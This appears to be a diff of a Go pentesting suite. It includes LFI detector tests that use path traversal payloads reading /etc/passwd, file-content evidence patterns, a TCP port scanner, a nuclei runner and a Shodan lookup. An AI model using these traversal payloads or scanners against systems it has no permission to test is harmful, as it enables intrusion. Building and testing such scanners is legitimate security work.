t.Run(tt.name, func(t *testing.T) {
|
||||
found, desc := DetectLFIFromResponse(tt.body)
|
||||
if found != tt.expectFound {
|
||||
t.Errorf("DetectLFIFromResponse() found = %v, want %v", found, tt.expectFound)
|
||||
}
|
||||
if desc != tt.expectDesc {
|
||||
t.Errorf("DetectLFIFromResponse() desc = %v, want %v", desc, tt.expectDesc)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestDetectLFIFromResponse_WindowsFiles(t *testing.T) {
|
||||
tests := []struct {
|
||||
name string
|
||||
body string
|
||||
expectFound bool
|
||||
}{
|
||||
{
|
||||
name: "boot.ini boot loader",
|
||||
body: "[boot loader]\ntimeout=30",
|
||||
expectFound: true,
|
||||
},
|
||||
{
|
||||
name: "boot.ini operating systems",
|
||||
body: "[operating systems]\nmulti(0)",
|
||||
expectFound: true,
|
||||
},
|
||||
{
|
||||
name: "win.ini fonts section",
|
||||
body: "; for 16-bit app support\n[fonts]",
|
||||
expectFound: true,
|
||||
},
|
||||
{
|
||||
name: "hosts file",
|
||||
body: "127.0.0.1 localhost",
|
||||
expectFound: true,
|
||||
},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
found, _ := DetectLFIFromResponse(tt.body)
|
||||
if found != tt.expectFound {
|
||||
t.Errorf("DetectLFIFromResponse() found = %v, want %v", found, tt.expectFound)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestDetectLFIFromResponse_EnvironmentVars(t *testing.T) {
|
||||
tests := []struct {
|
||||
name string
|
||||
body string
|
||||
expectFound bool
|
||||
}{
|
||||
{
|
||||
name: "DOCUMENT_ROOT",
|
||||
body: "DOCUMENT_ROOT=/var/www/html",
|
||||
expectFound: true,
|
||||
},
|
||||
{
|
||||
name: "PATH variable",
|
||||
body: "PATH=/usr/local/bin:/usr/bin:/bin",
|
||||
expectFound: true,
|
||||
},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
found, _ := DetectLFIFromResponse(tt.body)
|
||||
if found != tt.expectFound {
|
||||
t.Errorf("DetectLFIFromResponse() found = %v, want %v", found, tt.expectFound)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestDetectLFIFromResponse_PHPSource(t *testing.T) {
|
||||
tests := []struct {
|
||||
name string
|
||||
body string
|
||||
expectFound bool
|
||||
}{
|
||||
{
|
||||
name: "PHP opening tag",
|
||||
body: "<?php echo 'hello'; ?>",
|
||||
expectFound: true,
|
||||
},
|
||||
{
|
||||
name: "base64 encoded PHP",
|
||||
body: "PD9waHAgZWNobyAnaGVsbG8nOyA/Pg==",
|
||||
expectFound: true,
|
||||
},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
found, _ := DetectLFIFromResponse(tt.body)
|
||||
if found != tt.expectFound {
|
||||
t.Errorf("DetectLFIFromResponse() found = %v, want %v", found, tt.expectFound)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestLFIResult_Fields(t *testing.T) {
|
||||
result := LFIResult{
|
||||
Vulnerabilities: []LFIVulnerability{
|
||||
{
|
||||
URL: "http://example.com/?file=../../../etc/passwd",
|
||||
Parameter: "file",
|
||||
Payload: "../../../etc/passwd",
|
||||
Evidence: "/etc/passwd content",
|
||||
Severity: "high",
|
||||
FileIncluded: "/etc/passwd",
|
||||
},
|
||||
},
|
||||
TestedParams: 10,
|
||||
TestedPayloads: 25,
|
||||
}
|
||||
|
||||
if len(result.Vulnerabilities) != 1 {
|
||||
t.Errorf("expected 1 vulnerability, got %d", len(result.Vulnerabilities))
|
||||
}
|
||||
if result.Vulnerabilities[0].Parameter != "file" {
|
||||
t.Errorf("expected parameter 'file', got '%s'", result.Vulnerabilities[0].Parameter)
|
||||
}
|
||||
if result.Vulnerabilities[0].Severity != "high" {
|
||||
t.Errorf("expected severity 'high', got '%s'", result.Vulnerabilities[0].Severity)
|
||||
}
|
||||
if result.TestedParams != 10 {
|
||||
t.Errorf("expected 10 tested params, got %d", result.TestedParams)
|
||||
}
|
||||
}
|
||||
|
||||
func TestLFIVulnerability_Fields(t *testing.T) {
|
||||
vuln := LFIVulnerability{
|
||||
URL: "http://example.com/?page=../../../etc/passwd",
|
||||
Parameter: "page",
|
||||
Payload: "../../../etc/passwd",
|
||||
Evidence: "/etc/passwd content",
|
||||
Severity: "high",
|
||||
FileIncluded: "/etc/passwd",
|
||||
}
|
||||
|
||||
if vuln.URL != "http://example.com/?page=../../../etc/passwd" {
|
||||
t.Errorf("unexpected URL: %s", vuln.URL)
|
||||
}
|
||||
if vuln.Parameter != "page" {
|
||||
t.Errorf("expected parameter 'page', got '%s'", vuln.Parameter)
|
||||
}
|
||||
if vuln.Payload != "../../../etc/passwd" {
|
||||
t.Errorf("unexpected payload: %s", vuln.Payload)
|
||||
}
|
||||
if vuln.Evidence != "/etc/passwd content" {
|
||||
t.Errorf("unexpected evidence: %s", vuln.Evidence)
|
||||
}
|
||||
if vuln.Severity != "high" {
|
||||
t.Errorf("expected severity 'high', got '%s'", vuln.Severity)
|
||||
}
|
||||
}
|
||||
|
||||
func TestLFIPayloads_Exist(t *testing.T) {
|
||||
if len(lfiPayloads) == 0 {
|
||||
t.Error("lfiPayloads should not be empty")
|
||||
}
|
||||
|
||||
// check that all payloads have required fields
|
||||
for i, payload := range lfiPayloads {
|
||||
if payload.payload == "" {
|
||||
t.Errorf("payload %d has empty payload", i)
|
||||
}
|
||||
if payload.target == "" {
|
||||
t.Errorf("payload %d has empty target", i)
|
||||
}
|
||||
if payload.severity == "" {
|
||||
t.Errorf("payload %d has empty severity", i)
|
||||
}
|
||||
if payload.severity != "critical" && payload.severity != "high" && payload.severity != "medium" && payload.severity != "low" {
|
||||
t.Errorf("payload %d has invalid severity: %s", i, payload.severity)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestCommonLFIParams_Exist(t *testing.T) {
|
||||
if len(commonLFIParams) == 0 {
|
||||
t.Error("commonLFIParams should not be empty")
|
||||
}
|
||||
|
||||
expectedParams := []string{"file", "page", "path", "include"}
|
||||
for _, expected := range expectedParams {
|
||||
found := false
|
||||
for _, param := range commonLFIParams {
|
||||
if param == expected {
|
||||
found = true
|
||||
break
|
||||
}
|
||||
}
|
||||
if !found {
|
||||
t.Errorf("expected common param '%s' not found", expected)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestLFIEvidencePatterns_Exist(t *testing.T) {
|
||||
if len(lfiEvidencePatterns) == 0 {
|
||||
t.Error("lfiEvidencePatterns should not be empty")
|
||||
}
|
||||
|
||||
// verify patterns compile and match expected content
|
||||
testCases := []struct {
|
||||
content string
|
||||
shouldMatch bool
|
||||
description string
|
||||
}{
|
||||
{"root:x:0:0:root:/root:/bin/bash", true, "etc passwd root"},
|
||||
{"nobody:x:65534:65534:nobody", true, "etc passwd nobody"},
|
||||
{"[boot loader]", true, "boot.ini"},
|
||||
{"[operating systems]", true, "boot.ini"},
|
||||
{"127.0.0.1 localhost", true, "hosts file"},
|
||||
{"<html>Hello</html>", false, "normal html"},
|
||||
}
|
||||
|
||||
for _, tc := range testCases {
|
||||
matched := false
|
||||
for _, pattern := range lfiEvidencePatterns {
|
||||
if pattern.pattern.MatchString(tc.content) {
|
||||
matched = true
|
||||
break
|
||||
}
|
||||
}
|
||||
if matched != tc.shouldMatch {
|
||||
t.Errorf("pattern match for %s: got %v, want %v", tc.description, matched, tc.shouldMatch)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestLFI_MockServer(t *testing.T) {
|
||||
server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
file := r.URL.Query().Get("file")
|
||||
if file == "../../../../../../../etc/passwd" || file == "/etc/passwd" {
|
||||
w.WriteHeader(http.StatusOK)
|
||||
w.Write([]byte("root:x:0:0:root:/root:/bin/bash\nnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin"))
|
||||
} else {
|
||||
w.WriteHeader(http.StatusOK)
|
||||
w.Write([]byte("<html><body>Normal page</body></html>"))
|
||||
}
|
||||
}))
|
||||
defer server.Close()
|
||||
|
||||
// verify server returns passwd content for LFI payload
|
||||
resp, err := http.Get(server.URL + "/?file=../../../../../../../etc/passwd")
|
||||
if err != nil {
|
||||
t.Fatalf("failed to make request: %v", err)
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
t.Errorf("expected status 200, got %d", resp.StatusCode)
|
||||
}
|
||||
}
|
||||
@@ -1,25 +1,13 @@
|
||||
/*
|
||||
╔══════════════════════════════════════════════════════════════════════════════╗
|
||||
║ ║
|
||||
║ SIF ║
|
||||
║ ║
|
||||
║ Blazing-fast pentesting suite written in Go ║
|
||||
║ ║
|
||||
║ Copyright (c) 2023-2024 vmfunc, xyzeva, lunchcat contributors ║
|
||||
║ and other sif contributors. ║
|
||||
║ ║
|
||||
║ ║
|
||||
║ Use of this tool is restricted to research and educational ║
|
||||
║ purposes only. Usage in a production environment outside ║
|
||||
║ of these categories is strictly prohibited. ║
|
||||
║ ║
|
||||
║ Any person or entity wishing to use this tool outside of ║
|
||||
║ research or educational purposes must purchase a license ║
|
||||
║ from https://lunchcat.dev ║
|
||||
║ ║
|
||||
║ For more information, visit: https://github.com/lunchcat/sif ║
|
||||
║ ║
|
||||
╚══════════════════════════════════════════════════════════════════════════════╝
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
: :
|
||||
: █▀ █ █▀▀ · Blazing-fast pentesting suite :
|
||||
: ▄█ █ █▀ · BSD 3-Clause License :
|
||||
: :
|
||||
: (c) 2022-2025 vmfunc (vmfunc), xyzeva, :
|
||||
: lunchcat alumni & contributors :
|
||||
: :
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
*/
|
||||
|
||||
package scan
|
||||
@@ -34,7 +22,8 @@ import (
|
||||
"github.com/charmbracelet/log"
|
||||
"github.com/dropalldatabases/sif/internal/nuclei/format"
|
||||
"github.com/dropalldatabases/sif/internal/nuclei/templates"
|
||||
"github.com/dropalldatabases/sif/internal/styles"
|
||||
sifoutput "github.com/dropalldatabases/sif/internal/output"
|
||||
"github.com/logrusorgru/aurora"
|
||||
"github.com/projectdiscovery/nuclei/v2/pkg/catalog/config"
|
||||
"github.com/projectdiscovery/nuclei/v2/pkg/catalog/disk"
|
||||
"github.com/projectdiscovery/nuclei/v2/pkg/catalog/loader"
|
||||
@@ -55,12 +44,15 @@ import (
|
||||
)
|
||||
|
||||
func Nuclei(url string, timeout time.Duration, threads int, logdir string) ([]output.ResultEvent, error) {
|
||||
fmt.Println(styles.Separator.Render("⚛️ Starting " + styles.Status.Render("nuclei template scanning") + "..."))
|
||||
sifoutput.ScanStart("nuclei template scanning")
|
||||
|
||||
spin := sifoutput.NewSpinner("Running nuclei templates")
|
||||
spin.Start()
|
||||
|
||||
sanitizedURL := strings.Split(url, "://")[1]
|
||||
|
||||
nucleilog := log.NewWithOptions(os.Stderr, log.Options{
|
||||
Prefix: "nuclei ⚛️",
|
||||
Prefix: "nuclei",
|
||||
}).With("url", url)
|
||||
|
||||
// Apply threads, timeout, log settings
|
||||
@@ -68,6 +60,12 @@ func Nuclei(url string, timeout time.Duration, threads int, logdir string) ([]ou
|
||||
options.TemplateThreads = threads
|
||||
options.Timeout = int(timeout.Seconds())
|
||||
|
||||
if logdir != "" {
|
||||
options.ProjectPath = logdir
|
||||
}
|
||||
|
||||
options.Headless = false
|
||||
|
||||
// Get templates
|
||||
templates.Install(nucleilog)
|
||||
pwd, err := os.Getwd()
|
||||
@@ -82,7 +80,7 @@ func Nuclei(url string, timeout time.Duration, threads int, logdir string) ([]ou
|
||||
outputWriter := testutils.NewMockOutputWriter()
|
||||
outputWriter.WriteCallback = func(event *output.ResultEvent) {
|
||||
if event.Matched != "" {
|
||||
nucleilog.Infof(format.FormatLine(event))
|
||||
nucleilog.Infof("%s", format.FormatLine(event))
|
||||
|
||||
results = append(results, *event)
|
||||
// TODO: metasploit
|
||||
@@ -110,14 +108,16 @@ func Nuclei(url string, timeout time.Duration, threads int, logdir string) ([]ou
|
||||
protocolinit.Init(options)
|
||||
|
||||
executorOpts := protocols.ExecutorOptions{
|
||||
Output: outputWriter,
|
||||
Progress: progressClient,
|
||||
Catalog: catalog,
|
||||
Options: options,
|
||||
IssuesClient: reportingClient,
|
||||
RateLimiter: ratelimit.New(context.Background(), 150, time.Second),
|
||||
Interactsh: interactClient,
|
||||
ResumeCfg: types.NewResumeCfg(),
|
||||
Colorizer: aurora.NewAurora(false),
|
||||
Output: outputWriter,
|
||||
Progress: progressClient,
|
||||
Catalog: catalog,
|
||||
Options: options,
|
||||
IssuesClient: reportingClient,
|
||||
RateLimiter: ratelimit.New(context.Background(), 150, time.Second),
|
||||
Interactsh: interactClient,
|
||||
HostErrorsCache: cache,
|
||||
ResumeCfg: types.NewResumeCfg(),
|
||||
}
|
||||
engine := core.New(options)
|
||||
engine.SetExecuterOptions(executorOpts)
|
||||
@@ -140,5 +140,8 @@ func Nuclei(url string, timeout time.Duration, threads int, logdir string) ([]ou
|
||||
_ = engine.Execute(store.Templates(), input)
|
||||
engine.WorkPool().Wait()
|
||||
|
||||
spin.Stop()
|
||||
sifoutput.ScanComplete("nuclei template scanning", len(results), "found")
|
||||
|
||||
return results, nil
|
||||
}
|
||||
@@ -0,0 +1,108 @@
|
||||
/*
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
: :
|
||||
: █▀ █ █▀▀ · Blazing-fast pentesting suite :
|
||||
: ▄█ █ █▀ · BSD 3-Clause License :
|
||||
: :
|
||||
: (c) 2022-2025 vmfunc (vmfunc), xyzeva, :
|
||||
: lunchcat alumni & contributors :
|
||||
: :
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
*/
|
||||
|
||||
package scan
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"fmt"
|
||||
"net"
|
||||
"net/http"
|
||||
"strconv"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
charmlog "github.com/charmbracelet/log"
|
||||
"github.com/dropalldatabases/sif/internal/logger"
|
||||
"github.com/dropalldatabases/sif/internal/output"
|
||||
)
|
||||
|
||||
const commonPorts = "https://raw.githubusercontent.com/dropalldatabases/sif-runtime/main/ports/top-ports.txt"
|
||||
|
||||
func Ports(scope string, url string, timeout time.Duration, threads int, logdir string) ([]string, error) {
|
||||
log := output.Module("PORTS")
|
||||
log.Start()
|
||||
|
||||
sanitizedURL := strings.Split(url, "://")[1]
|
||||
if logdir != "" {
|
||||
if err := logger.WriteHeader(sanitizedURL, logdir, scope+" port scanning"); err != nil {
|
||||
log.Error("Error creating log file: %v", err)
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
|
||||
var ports []int
|
||||
switch scope {
|
||||
case "common":
|
||||
resp, err := http.Get(commonPorts)
|
||||
if err != nil {
|
||||
log.Error("Error downloading ports list: %s", err)
|
||||
return nil, err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
scanner := bufio.NewScanner(resp.Body)
|
||||
scanner.Split(bufio.ScanLines)
|
||||
for scanner.Scan() {
|
||||
if port, err := strconv.Atoi(scanner.Text()); err == nil {
|
||||
ports = append(ports, port)
|
||||
}
|
||||
}
|
||||
case "full":
|
||||
ports = make([]int, 65536)
|
||||
for i := range ports {
|
||||
ports[i] = i
|
||||
}
|
||||
}
|
||||
|
||||
progress := output.NewProgress(len(ports), "scanning")
|
||||
|
||||
var openPorts []string
|
||||
var mu sync.Mutex
|
||||
var wg sync.WaitGroup
|
||||
wg.Add(threads)
|
||||
|
||||
for thread := 0; thread < threads; thread++ {
|
||||
go func(thread int) {
|
||||
defer wg.Done()
|
||||
|
||||
for i, port := range ports {
|
||||
if i%threads != thread {
|
||||
continue
|
||||
}
|
||||
|
||||
progress.Increment(strconv.Itoa(port))
|
||||
|
||||
charmlog.Debugf("Looking up: %d", port)
|
||||
tcp, err := net.DialTimeout("tcp", fmt.Sprintf("%s:%d", sanitizedURL, port), timeout)
|
||||
if err != nil {
|
||||
charmlog.Debugf("Error %d: %v", port, err)
|
||||
} else {
|
||||
progress.Pause()
|
||||
log.Success("open: %s:%s [tcp]", sanitizedURL, output.Highlight.Render(strconv.Itoa(port)))
|
||||
progress.Resume()
|
||||
|
||||
mu.Lock()
|
||||
openPorts = append(openPorts, strconv.Itoa(port))
|
||||
mu.Unlock()
|
||||
tcp.Close()
|
||||
}
|
||||
}
|
||||
}(thread)
|
||||
}
|
||||
wg.Wait()
|
||||
progress.Done()
|
||||
|
||||
log.Complete(len(openPorts), "open")
|
||||
|
||||
return openPorts, nil
|
||||
}
|
||||
@@ -0,0 +1,58 @@
|
||||
/*
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
: :
|
||||
: █▀ █ █▀▀ · Blazing-fast pentesting suite :
|
||||
: ▄█ █ █▀ · BSD 3-Clause License :
|
||||
: :
|
||||
: (c) 2022-2025 vmfunc (vmfunc), xyzeva, :
|
||||
: lunchcat alumni & contributors :
|
||||
: :
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
*/
|
||||
|
||||
package scan
|
||||
|
||||
// Named slice types for scan results.
|
||||
// These provide better type safety and allow method implementations.
|
||||
type (
|
||||
HeaderResults []HeaderResult
|
||||
DirectoryResults []DirectoryResult
|
||||
CloudStorageResults []CloudStorageResult
|
||||
DorkResults []DorkResult
|
||||
SubdomainTakeoverResults []SubdomainTakeoverResult
|
||||
)
|
||||
|
||||
// ScanResult is the interface that all scan result types implement.
|
||||
// This enables type-safe handling of heterogeneous scan results.
|
||||
type ScanResult interface {
|
||||
// ResultType returns the unique identifier for this result type.
|
||||
ResultType() string
|
||||
}
|
||||
|
||||
// ResultType implementations for pointer result types.
|
||||
|
||||
func (r *ShodanResult) ResultType() string { return "shodan" }
|
||||
func (r *SQLResult) ResultType() string { return "sql" }
|
||||
func (r *LFIResult) ResultType() string { return "lfi" }
|
||||
func (r *CMSResult) ResultType() string { return "cms" }
|
||||
|
||||
// ResultType implementations for slice result types.
|
||||
|
||||
func (r HeaderResults) ResultType() string { return "headers" }
|
||||
func (r DirectoryResults) ResultType() string { return "dirlist" }
|
||||
func (r CloudStorageResults) ResultType() string { return "cloudstorage" }
|
||||
func (r DorkResults) ResultType() string { return "dork" }
|
||||
func (r SubdomainTakeoverResults) ResultType() string { return "subdomain_takeover" }
|
||||
|
||||
// Compile-time interface satisfaction checks.
|
||||
var (
|
||||
_ ScanResult = (*ShodanResult)(nil)
|
||||
_ ScanResult = (*SQLResult)(nil)
|
||||
_ ScanResult = (*LFIResult)(nil)
|
||||
_ ScanResult = (*CMSResult)(nil)
|
||||
_ ScanResult = HeaderResults(nil)
|
||||
_ ScanResult = DirectoryResults(nil)
|
||||
_ ScanResult = CloudStorageResults(nil)
|
||||
_ ScanResult = DorkResults(nil)
|
||||
_ ScanResult = SubdomainTakeoverResults(nil)
|
||||
)
|
||||
@@ -0,0 +1,132 @@
|
||||
/*
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
: :
|
||||
: █▀ █ █▀▀ · Blazing-fast pentesting suite :
|
||||
: ▄█ █ █▀ · BSD 3-Clause License :
|
||||
: :
|
||||
: (c) 2022-2025 vmfunc (vmfunc), xyzeva, :
|
||||
: lunchcat alumni & contributors :
|
||||
: :
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
*/
|
||||
|
||||
// The scan package provides a collection of security scanning functions.
|
||||
//
|
||||
// Each scanning function typically returns a slice of custom result structures and an error.
|
||||
// The package utilizes concurrent operations to improve scanning performance and provides
|
||||
// options for logging and timeout management.
|
||||
package scan
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"net/http"
|
||||
"strconv"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"github.com/charmbracelet/log"
|
||||
"github.com/dropalldatabases/sif/internal/logger"
|
||||
"github.com/dropalldatabases/sif/internal/output"
|
||||
)
|
||||
|
||||
func fetchRobotsTXT(url string, client *http.Client) *http.Response {
|
||||
resp, err := client.Get(url)
|
||||
if err != nil {
|
||||
log.Debugf("Error fetching robots.txt: %s", err)
|
||||
return nil
|
||||
}
|
||||
|
||||
if resp.StatusCode == http.StatusMovedPermanently {
|
||||
redirectURL := resp.Header.Get("Location")
|
||||
if redirectURL == "" {
|
||||
log.Debugf("Redirect location is empty for %s", url)
|
||||
return nil
|
||||
}
|
||||
resp.Body.Close()
|
||||
return fetchRobotsTXT(redirectURL, client)
|
||||
}
|
||||
|
||||
return resp
|
||||
}
|
||||
|
||||
// Scan performs a basic URL scan, including checks for robots.txt and other common endpoints.
|
||||
// It logs the results and doesn't return any values.
|
||||
//
|
||||
// Parameters:
|
||||
// - url: the target URL to scan
|
||||
// - timeout: maximum duration for the scan
|
||||
// - threads: number of concurrent threads to use
|
||||
// - logdir: directory to store log files (empty string for no logging)
|
||||
func Scan(url string, timeout time.Duration, threads int, logdir string) {
|
||||
output.ScanStart("base URL scanning")
|
||||
|
||||
sanitizedURL := strings.Split(url, "://")[1]
|
||||
|
||||
if logdir != "" {
|
||||
if err := logger.WriteHeader(sanitizedURL, logdir, "URL scanning"); err != nil {
|
||||
output.Error("Error creating log file: %v", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
client := &http.Client{
|
||||
Timeout: timeout,
|
||||
CheckRedirect: func(req *http.Request, via []*http.Request) error {
|
||||
return http.ErrUseLastResponse
|
||||
},
|
||||
}
|
||||
|
||||
resp := fetchRobotsTXT(url+"/robots.txt", client)
|
||||
if resp == nil {
|
||||
return
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
|
||||
if resp.StatusCode != 404 && resp.StatusCode != 301 && resp.StatusCode != 302 && resp.StatusCode != 307 {
|
||||
output.Success("File %s found", output.Status.Render("robots.txt"))
|
||||
|
||||
var robotsData []string
|
||||
scanner := bufio.NewScanner(resp.Body)
|
||||
scanner.Split(bufio.ScanLines)
|
||||
for scanner.Scan() {
|
||||
robotsData = append(robotsData, scanner.Text())
|
||||
}
|
||||
|
||||
var wg sync.WaitGroup
|
||||
wg.Add(threads)
|
||||
for thread := 0; thread < threads; thread++ {
|
||||
go func(thread int) {
|
||||
defer wg.Done()
|
||||
|
||||
for i, robot := range robotsData {
|
||||
if i%threads != thread {
|
||||
continue
|
||||
}
|
||||
|
||||
if robot == "" || strings.HasPrefix(robot, "#") || strings.HasPrefix(robot, "User-agent: ") || strings.HasPrefix(robot, "Sitemap: ") {
|
||||
continue
|
||||
}
|
||||
|
||||
_, sanitizedRobot, _ := strings.Cut(robot, ": ")
|
||||
log.Debugf("%s", robot)
|
||||
resp, err := client.Get(url + "/" + sanitizedRobot)
|
||||
if err != nil {
|
||||
log.Debugf("Error %s: %s", sanitizedRobot, err)
|
||||
continue
|
||||
}
|
||||
|
||||
if resp.StatusCode != 404 {
|
||||
output.Success("%s from robots: %s", output.Status.Render(strconv.Itoa(resp.StatusCode)), output.Highlight.Render(sanitizedRobot))
|
||||
if logdir != "" {
|
||||
logger.Write(sanitizedURL, logdir, strconv.Itoa(resp.StatusCode)+" from robots: ["+sanitizedRobot+"]\n")
|
||||
}
|
||||
}
|
||||
resp.Body.Close()
|
||||
}
|
||||
|
||||
}(thread)
|
||||
}
|
||||
wg.Wait()
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,367 @@
|
||||
/*
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
: :
|
||||
: █▀ █ █▀▀ · Blazing-fast pentesting suite :
|
||||
: ▄█ █ █▀ · BSD 3-Clause License :
|
||||
: :
|
||||
: (c) 2022-2025 vmfunc (vmfunc), xyzeva, :
|
||||
: lunchcat alumni & contributors :
|
||||
: :
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
*/
|
||||
|
||||
package scan
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"io"
|
||||
"net"
|
||||
"net/http"
|
||||
"net/url"
|
||||
"os"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/dropalldatabases/sif/internal/logger"
|
||||
"github.com/dropalldatabases/sif/internal/output"
|
||||
)
|
||||
|
||||
const shodanBaseURL = "https://api.shodan.io"
|
||||
|
||||
// ShodanResult represents the results from a Shodan host lookup
|
||||
type ShodanResult struct {
|
||||
IP string `json:"ip_str"`
|
||||
Hostnames []string `json:"hostnames,omitempty"`
|
||||
Organization string `json:"org,omitempty"`
|
||||
ASN string `json:"asn,omitempty"`
|
||||
ISP string `json:"isp,omitempty"`
|
||||
Country string `json:"country_name,omitempty"`
|
||||
City string `json:"city,omitempty"`
|
||||
OS string `json:"os,omitempty"`
|
||||
Ports []int `json:"ports,omitempty"`
|
||||
Vulns []string `json:"vulns,omitempty"`
|
||||
Services []ShodanService `json:"services,omitempty"`
|
||||
LastUpdate string `json:"last_update,omitempty"`
|
||||
}
|
||||
|
||||
// ShodanService represents a service found by Shodan
|
||||
type ShodanService struct {
|
||||
Port int `json:"port"`
|
||||
Protocol string `json:"transport"`
|
||||
Product string `json:"product,omitempty"`
|
||||
Version string `json:"version,omitempty"`
|
||||
Banner string `json:"data,omitempty"`
|
||||
Module string `json:"_shodan,omitempty"`
|
||||
}
|
||||
|
||||
// shodanHostResponse is the raw response from Shodan API
|
||||
type shodanHostResponse struct {
|
||||
IP string `json:"ip_str"`
|
||||
Hostnames []string `json:"hostnames"`
|
||||
Org string `json:"org"`
|
||||
ASN string `json:"asn"`
|
||||
ISP string `json:"isp"`
|
||||
CountryName string `json:"country_name"`
|
||||
City string `json:"city"`
|
||||
OS string `json:"os"`
|
||||
Ports []int `json:"ports"`
|
||||
Vulns []string `json:"vulns"`
|
||||
Data []shodanData `json:"data"`
|
||||
LastUpdate string `json:"last_update"`
|
||||
}
|
||||
|
||||
// shodanMetadata represents the _shodan field in Shodan API responses.
|
||||
// This provides type safety instead of using map[string]interface{}.
|
||||
type shodanMetadata struct {
|
||||
Module string `json:"module"`
|
||||
Crawler string `json:"crawler,omitempty"`
|
||||
ID string `json:"id,omitempty"`
|
||||
Ptr bool `json:"ptr,omitempty"`
|
||||
}
|
||||
|
||||
type shodanData struct {
|
||||
Port int `json:"port"`
|
||||
Transport string `json:"transport"`
|
||||
Product string `json:"product"`
|
||||
Version string `json:"version"`
|
||||
Data string `json:"data"`
|
||||
Shodan shodanMetadata `json:"_shodan"`
|
||||
}
|
||||
|
||||
// Shodan performs a Shodan lookup for the given URL
|
||||
// The API key should be provided via the SHODAN_API_KEY environment variable
|
||||
func Shodan(targetURL string, timeout time.Duration, logdir string) (*ShodanResult, error) {
|
||||
output.ScanStart("Shodan lookup")
|
||||
|
||||
spin := output.NewSpinner("Querying Shodan API")
|
||||
spin.Start()
|
||||
|
||||
apiKey := getShodanAPIKey()
|
||||
if apiKey == "" {
|
||||
spin.Stop()
|
||||
output.Warn("SHODAN_API_KEY environment variable not set, skipping Shodan lookup")
|
||||
return nil, fmt.Errorf("SHODAN_API_KEY environment variable not set")
|
||||
}
|
||||
|
||||
// extract hostname from URL
|
||||
parsedURL, err := url.Parse(targetURL)
|
||||
if err != nil {
|
||||
spin.Stop()
|
||||
return nil, fmt.Errorf("failed to parse URL: %w", err)
|
||||
}
|
||||
hostname := parsedURL.Hostname()
|
||||
|
||||
// resolve hostname to IP
|
||||
ip, err := resolveHostname(hostname)
|
||||
if err != nil {
|
||||
spin.Stop()
|
||||
output.Warn("Failed to resolve hostname %s: %v", hostname, err)
|
||||
return nil, fmt.Errorf("failed to resolve hostname: %w", err)
|
||||
}
|
||||
|
||||
output.Info("Resolved %s to %s", hostname, ip)
|
||||
|
||||
// query Shodan API
|
||||
result, err := queryShodanHost(ip, apiKey, timeout)
|
||||
if err != nil {
|
||||
spin.Stop()
|
||||
output.Warn("Shodan lookup failed: %v", err)
|
||||
return nil, err
|
||||
}
|
||||
|
||||
spin.Stop()
|
||||
|
||||
// log results
|
||||
if logdir != "" {
|
||||
sanitizedURL := strings.Split(targetURL, "://")[1]
|
||||
if err := logger.WriteHeader(sanitizedURL, logdir, "Shodan lookup"); err != nil {
|
||||
output.Error("Error writing log header: %v", err)
|
||||
}
|
||||
logShodanResults(sanitizedURL, logdir, result)
|
||||
}
|
||||
|
||||
// print results
|
||||
printShodanResults(result)
|
||||
|
||||
